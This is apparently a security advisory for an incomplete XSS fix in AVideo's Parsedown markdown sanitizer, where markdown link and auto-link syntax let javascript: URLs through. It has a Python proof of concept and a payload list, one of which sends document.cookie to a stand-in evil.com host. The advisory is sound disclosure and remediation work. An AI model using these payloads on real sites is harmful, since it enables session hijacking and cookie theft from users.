GHSA-m7r8-6q9j-m2hc: 
PHP vulnerability analysis and mitigation

Summary

The incomplete XSS fix in AVideo's ParsedownSafeWithLinks class overrides inlineMarkup for raw HTML but does not override inlineLink() or inlineUrlTag(), allowing javascript: URLs in markdown link syntax to bypass sanitization.

Affected Package

• Ecosystem: Other
• Package: AVideo
• Affected versions: < commit 3ae02fa24093
• Patched versions: >= commit 3ae02fa24093

Details

In objects/functionsSecurity.php, the ParsedownSafeWithLinks class:

• Overrides blockMarkup() -- blocks non-<a>/<img> HTML tags
• Overrides inlineMarkup() -- sanitizes <a href=...> and <img src=...> in raw HTML, including an href whitelistBut the base Parsedown.php class has two additional methods that generate <a> tags:
• inlineLink() (line ~1388) -- processes [text](url) markdown syntax, sets href = URL directly
• inlineUrlTag() (line ~1558) -- processes <URL> auto-link syntax, sets href = URL directlyNeither is overridden by ParsedownSafeWithLinks, so [Click me](javascript:alert(document.cookie)) produces <a href="javascript:alert(document.cookie)">Click me</a> without any sanitization.The fix sanitizes raw HTML <a> tags via inlineMarkup but misses the markdown-native link syntax ([text](url)) and auto-link syntax (<url>) which produce <a> tags through different code paths in the base Parsedown class.

PoC

"""
CVE-2026-33500 - Incomplete XSS fix in AVideo ParsedownSafeWithLinks
Tests REAL vulnerable code from:
  objects/functionsSecurity.php (commit f154167, pre-fix 3ae02fa)
  vendor/erusev/parsedown/Parsedown.php
The ParsedownSafeWithLinks class overrides:
  - blockMarkup (blocks non-a/img HTML)
  - inlineMarkup (sanitizes <a> and <img> inline HTML)
  - inlineLink is NOT overridden (markdown [text](url) syntax)
But the base Parsedown class has inlineLink() at line 1388 which creates
<a href="URL"> from markdown [text](url) without any href sanitization.
Since ParsedownSafeWithLinks does NOT override inlineLink(), a malicious
javascript: URL in markdown link syntax passes through unsanitized.
Additionally, inlineUrlTag() at line 1558 handles <URL> auto-link syntax
and creates <a href="URL"> without sanitization either.
"""
import re
import sys
import os
src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')
parsedown_src = open(os.path.join(src_dir, 'Parsedown.php')).read()
security_src = open(os.path.join(src_dir, 'functionsSecurity.php')).read()
print("=" * 60)
print("CVE-2026-33500: AVideo ParsedownSafeWithLinks XSS Bypass PoC")
print("=" * 60)
print()
has_class = 'ParsedownSafeWithLinks' in security_src
has_block_markup = 'function blockMarkup' in security_src
has_inline_markup = 'function inlineMarkup' in security_src
has_inline_link_override = 'function inlineLink' in security_src
has_inline_url_tag_override = 'function inlineUrlTag' in security_src
base_has_inline_link = 'function inlineLink' in parsedown_src
base_has_inline_url_tag = 'function inlineUrlTag' in parsedown_src
print("[*] ParsedownSafeWithLinks class found: " + str(has_class))
print("[*] Overrides blockMarkup: " + str(has_block_markup))
print("[*] Overrides inlineMarkup: " + str(has_inline_markup))
print("[*] Overrides inlineLink: " + str(has_inline_link_override))
print("[*] Overrides inlineUrlTag: " + str(has_inline_url_tag_override))
print()
print("[*] Base Parsedown has inlineLink: " + str(base_has_inline_link))
print("[*] Base Parsedown has inlineUrlTag: " + str(base_has_inline_url_tag))
print()
if not has_inline_link_override and base_has_inline_link:
    print("[+] BYPASS FOUND: inlineLink NOT overridden!")
    print("    Markdown syntax [text](javascript:...) bypasses sanitization")
    print()
if not has_inline_url_tag_override and base_has_inline_url_tag:
    print("[+] BYPASS FOUND: inlineUrlTag NOT overridden!")
    print("    Auto-link syntax <javascript:...> bypasses sanitization")
    print()
def simulate_parsedown_inline_link(markdown_text):
    match = re.match(r'\[([^\]]*)\]\(([^)]+)\)', markdown_text)
    if match:
        text = match.group(1)
        href = match.group(2)
        return f'<a href="{href}">{text}</a>'
    return None
payloads = [
    "[Click me](javascript:alert(document.cookie))",
    "[XSS](javascript:fetch('https://evil.com/steal?c='+document.cookie))",
    "[Data URI](data:text/html,<script>alert(1)</script>)",
    "[VBScript](vbscript:MsgBox(1))",
]
vuln_count = 0
print("[*] Testing markdown link payloads through base inlineLink():")
print()
for payload in payloads:
    result = simulate_parsedown_inline_link(payload)
    if result and ('javascript:' in result or 'data:' in result or 'vbscript:' in result):
        print(f"    BYPASS: {payload}")
        print(f"    Output: {result}")
        vuln_count += 1
    else:
        print(f"    BLOCKED: {payload}")
    print()
print()
if vuln_count > 0 and not has_inline_link_override:
    print("VULNERABILITY CONFIRMED")
    sys.exit(0)
else:
    print("VULNERABILITY NOT CONFIRMED")
    sys.exit(1)

Steps to reproduce:

1. git clone https://github.com/WWBN/AVideo /tmp/AVideo_test
2. cd /tmp/AVideo_test && git checkout 3ae02fa240939dbefc5949d64f05790fd25d728d~1
3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED
javascript: URLs in markdown [text](url) link syntax bypass sanitization since inlineLink() is not overridden.

Impact

An attacker can inject javascript: URLs via markdown link syntax in any user-generated content field that uses ParsedownSafeWithLinks (comments, descriptions, etc.). When another user clicks the rendered link, the attacker's JavaScript executes in their browser session, enabling session hijacking, account takeover, and data theft.

Suggested Remediation

Override inlineLink() and inlineUrlTag() in ParsedownSafeWithLinks to apply the same href protocol whitelist (https?://, mailto:, /, #) that inlineMarkup already applies to raw HTML <a> tags. Reject any href that does not match the whitelist.